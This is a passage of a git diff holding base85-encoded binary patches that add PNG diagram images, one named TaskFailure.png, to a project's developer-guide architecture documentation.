z+_i*YZFuepQYO|qtV9VKbV+jm0MO=v78RDt^8_Kv6hNOW(VwK72F=&Cc;#Dj%FJ-+ ztEp`WL80j&Iv6J;Y6?_I@|xaS1v!795if|C2c1*RD5Q!);`fM*K;Ma=VytmX>mA>( z6B6Z-xIsG|Oof7P@a1#@9(ardc)+qZ`hMm2bIj+_6Pk6bz6P0&xSsI zk*QyGp^@3STq-`PY9fx3*6&Z#MPo>EWLjznPue~go8u)oXd09Cd`aNJ`y_fas6pN?LQI?(MPzwX~P# zN2w}Bwh^I)w#}#2);Tk&lR~zM{%)2h3|wlhY#C(2x=i6g(M>jy=vO8 z(tlWFx~Ph;=d))0(jFkw1p(BeR#9C!v!A9*_0qyC+7+OJHqq3ATf`Gr@wExHI!(7~ z)F*AbOfB>ZuXdKo^7or~YTg8b5iHyf1K*lPF8dKa?i`JbU zo7N+PDjH3jBP}v&m$Z0o-`H3EdY~Ti>H=N}NCHeHZb4CLtIna_>5b)6$GoxLrJu)i zE~Pmb2g2n&)rM;_Pv_#AS1n&qc}p$)qsk$bCCoY%+~u&;S!I7Sm&(<3Jx1cqI^ZqN z%PikGkEmEZU^LhBpqte^*jd^AeZ&wCZBYANOWZ!Wnh;Jk zM^{T!bGXDLEpo%xi7W+aEuPYr!fyKA*stHDpi^X!G5ZrY_8U{JAJBtJI}kQSc&bGU zYjoft)eW-Au}_&%xRzp5MZE$$(72uf>mQEJov<_jemorAb7$I^yxI(xxA)2rSq-w|~Jw{)0_qhM&e9R{FL#8(J4q#bVM}xx!rOctU6o>B2Ia*OXGQYGFeFR|-AX z&vsfT47C~QlGuEI>E_{L=9{03gY#`}C6;vg-#3+Nrem37)DAV=?UCRP_q*-4Am82ctnm2KXT)jh1xVOhTgKQLvXM}L`^ z$2arc^-29PK$Y_ARm$!S*pR@n@v#9!8BL1b@DxcuE-No|4VW`8R$@O8iSpOndp!`G zsnnIAPX77V*&5m{kU*NrPJ9r^#Z<3*)sgO?!qTEHBMQwP{KHdl z@&F?1T*hpv_-YNJ$Ucj}m2;=GNym1cs2`uwEMfTZ%6XHL8w5cFeIt*|cN&*c$9 zre<#D=Xzx^bG$jwze;7b0SJu&gEOG{@SgoyjHvC(pKfn|({}DJM>_z- z9^bjSRQe?UH%henoL&v z4%d+Cp6&}*FL-X>T_Eajwz0F*#3_d153c)J$e1fFm5nrU^VbVE<2PH%&g@SGI*Re` zZ7(Xh$zsx_lOvPO013xqN^!OfY*OgT$N zJ}z@(BCK#c2UyGTyd0}a{S-{SpgWYeE$QKDiE=TI)WJ=2f`(q_omNs{Q?*=_*p$2e zgJk{(4*qiv|Bu7L|1V{ZCE}oblKd_mJKFOwXo2A-dEH8*C5X9;+pv~bw z_AGoXoP^W=O{^vRMJ5KTh6XKocJz0I7})Cxh^vLh5X8{pula9tOJ2`rnj=-F%Cfxk zMNKO{r(_Q^_EiGZ3pxzg33=&yfxW{3zG>OCDMGF^g$Pz%+!J?^(U{&FS`lu&LlC*#$d z=RG$n7tJw5dLRiBHA{J@9thH`Mw6(V{`4_+2D?UZu|WbQ`5yAXvWwwV5$TYeUMOrX zN*&mL>uB>DMIpD9(k}(abn4w0eXw}?)&ZTa!FK0V`DAxBK}*4HUFDM1W|pCZ;{PGv zX<)!T2Hj<^W|pM?Vatv+3H0Q3R9>)A_qc|BfC1?chibBV1*uz;P<;&O0AGKh{HkYZ znmolW6VQZ=!qmuLlev;&NCdFHv80~%3whOP6k2i>0j)kA{^6kG^Q|n}a!WLKZ~Kkz zbcT1qsrbx%1eu4%L-7eN8|OlwaZYf(94A^XmrZxjdmTgXLB3a^&t_`Nk!ovU!!%f9 zy~H2O@7)q9Dq_bct`!sh6FV;uz0{iSKhwH)W90nA+wf=mnzF>pwXnmG?eB+56dO%k z_>AMw>*MOkn}Sc=${+^mue8Pml2yTbM=|*C2#$ZK{KDUoWl%D|Jl7o0JKE$xS|a$9 zySd(^zro9?kLOFhWQ&j@w3#syG8w_u33?cd@zi9CK-$pP7TVZl&oey2VOPz1xN z=uh87yqX^71>T|eM(ts!Hsi^D?s|KEXtat~*42$Ht2J9emBcu8gV^t+b~UTKh+mi? z`km8Oe3kAj%O3g$oY_OyYlxbezz9{kfWED4C;YwfL9@A#;$8qU0%fKsbVY zdY*4%R$k;>WTPSZ)?oRzDOsf(-FtZCayp+Q*Hj-j#b$#RxqQ3?9oAX=JaIptp?PHW z#15$hsqf{mCWJ}vX_d=2g5^lbW;)|HUNV32;0rgRpjnPnP3(W22#Ew)&+t=W7xeaU zg5LM7B>4@ZTnYnQ@WXsCNpx!;U*5eo{E0Iig1uI|0=%2<^8-6Ku%Q0VRSQAq{5G`j z!wF}~U8r5#ez47Kn}um~PSu)&O2oDV5fQcM#T@~s4LqNI$7}Om({JZ|Yu(;%;GJD? zS4r-haFM}>lg#;&V7cGs>Dlsz!u!HF)0Trgb=t@7pmD7ym+m}d26w9y*{8wnn4h>) z8>b#>3x-GRMki|{ZFt9M^5g{WBr)bO!|9ru&OU&L`9Sb|dOQHyIKm?vc^_YS6ci=6 zTLgc2#9mQ%EUiWwi?s+s2!!p0zyhq^|3?dV6`+otCd$w*R9 zB;{;0L`>xD)8f?&Bn>AI>|#HQxu#_1&k(&^6R+)*WKUD{4hl^Bq>(QIZ%y)S8T*Hw zIi?ATownt8JLJRGz%3u=b37f&L%9hd^W}BEN4&j#+n$92`Vc#M`{UZD&dRkmHo;JZTY{dQSVi%7pqh7Qbvnnkbmsd4=FVrml#ds zWkU?J6rMgW2wzjX`;4uaNvqa`G?rlMr+8q6Z($hn&SvC~jIS1!9ruDq?ml4_OMdQ& z+dV{+mC8J&v`UtO$7)9=?=&-tw9(^t8Jw&}Z&714d%mYe_Awd2OV{bKiZYcD$Y9Id zMb#VE3vd81TqUoZdWGz&k1({VyYga}Phqqwnf~`2@>Rcm?i2|4;yB{s(G#n55dGSs zLV2yjfBEZcVOZek?TSxr#tr9$udUOc@AgbKRcGv#-@B@T`@(Zq1D|Up0u~W`xKCZe z$zdG%Z0WW@S4U@zdLo9Ou};#&hSI!^d-IpC_H3M@07rOEGMqF@7G;l%i9)$`!zh{g zCuc&^qtwAv8brIaSbp;qexKhjNqD~^z#`w0fzeYx}tOITettvV)nmTVvJ{ zhLgXIT~I$8{EUVss&7WSpB1yu9?gqk-Y*hlzwdkeT0myCciU2dx?S2>z(jB&?4sn^ zb38qKIozhmGQTk+fUSE9Um~QlBMT;vO)T;0Z-}r<$hzVfe{hfa*)xpRQ<1KA6FH)gMf}1 zU6x{7RWGGOp4(0g?{Eto^j^KTJ~(`VeqmAo*h9x}n-Fh#`3E#2q}k_PDrRqNIP>?u zx6h~H2(NL@%%|fI$EH1(iOx`8=C?z>g6A4n&sra?zG~n((N<9es@ys(85ks}`-3yy zH%5pL1y8%@9GBlm*yna;Psd#A(>lvB_6(S16vAs#C-{Nm+ORA!78K_%_JAk0%qP0Hl1Lp5r>NfJ6PbFW)Ed~HVl46(HOa{3ZRscG4kO15iDd| zvXPJdlEkUEzUoBAwjn;%7Ac3TQzsNDZ$wN;nhbNDn=Bu8PhY6U)i1VY9v*X~m@}c2 z=kS5>PE_eqNe5)hE8yo&Q7Oc;uu18OJwtJxsk%2pX9vzAnzecJ==#a}$X%{ot`TPR z-p7!jPq{&#>(##G=9?lZz9V5DFS0&KJc z?#vBubHB;m!u+g{)}v=4<})9(gtesZtZ6akiV1#%hp#Xjh8Hi8a_aoD`-*p-Z#7!K zD>+3fufL3g4*fn(dgty%4Dv$}7<*=zD3rN4^VwW;iy#V5bfT*VnoM_apS85Q|EG!l z?LHvmjgH^`(KrU0EIWZ$FdB2%d(K#Lz#RHab*k*vuln!*>6frjE$oO@+-#^O0McR4 zwodzhIXw{I{ZvN@Ulfhm{c@G$znq>WpkzK7QU&mV=N%>fQgCpLz-V-<)2|hil`2p1 z{7b>{yWo+vO#|cftxo^Tm_bniP6zUFkaGfPbmx`uFJnd?_zY|w;OY!t`#AWQB~%Qs zgi0AVS7<%4(1d!Oe_29Y7nA;8Pgc6hxw-O}zhefFdd#VQ?vmH5r}oYY{Cy~ULFySk zoCTTh(f-{1%UOZ~{GC$L;QJ9axPhBnNq--507RzJ)nFfN=`nfm{fmWl1f>G=Gk@6H zq9KM_sriZc`|ybt@R_~V*TBppT9yAYf^>oTK|Afg;8=@yt%Cn{9l-WneCF8R_CL$` zf4__^LMSmUin5huCTK<^#g+=lhf}V^=hSs;rfw}tVkkqg>`?p8`@cUzXjGomo~gLU z`p(VD3DD&8lWp_AO%nF$un!tWT70{<=bDB04G*{Ls~FrpJ#CJTXG~dtrXJt>U-vrP dmS;Lr+t;Hw6B_*04cswEguHGDuhevW_+Mrt6L|mt literal 0 HcmV?d00001 diff --git a/docs/devguide/architecture/TaskFailure.png b/docs/devguide/architecture/TaskFailure.png new file mode 100644 index 0000000000000000000000000000000000000000..d3eb474872525813221434cbeed67de973e39866 GIT binary patch literal 128270 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 